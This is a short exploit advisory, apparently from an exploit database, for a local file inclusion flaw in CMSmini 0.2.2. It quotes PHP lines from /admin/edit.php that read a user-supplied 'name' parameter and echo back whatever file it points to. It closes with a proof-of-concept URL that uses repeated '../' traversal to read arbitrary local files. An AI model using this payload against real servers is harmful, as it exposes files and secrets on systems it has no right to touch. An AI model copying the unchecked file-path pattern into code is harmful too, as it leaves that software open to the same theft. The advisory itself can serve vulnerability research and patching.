CMSmini 0.2.2 - Local File Inclusion

                                                # Exploit Title: [CMSmini 0.2.2 Local File Inclusion]
# Date: [2011.10.20]
# Author: [I2Sec5-BSK]
# Software Link: [http://sourceforge.net/projects/cmsmini/]
# Version: [CMSmini 0.2.2]
# Tested on: [Windows XP]

--------------------------------------------------

/admin/edit.php

30 $name = $_GET['name'];
73 $filename = $dirpath.'/'.$name;
74 $fh = fopen($filename, 'r');
75 $data = fread($fh, filesize($filename));
76 fclose($fh);
77 echo $data;

---------------------------------------------------

POC : http://[ Address ]/admin/edit.php?name=../../../../../../../../../../../../[ Local File ]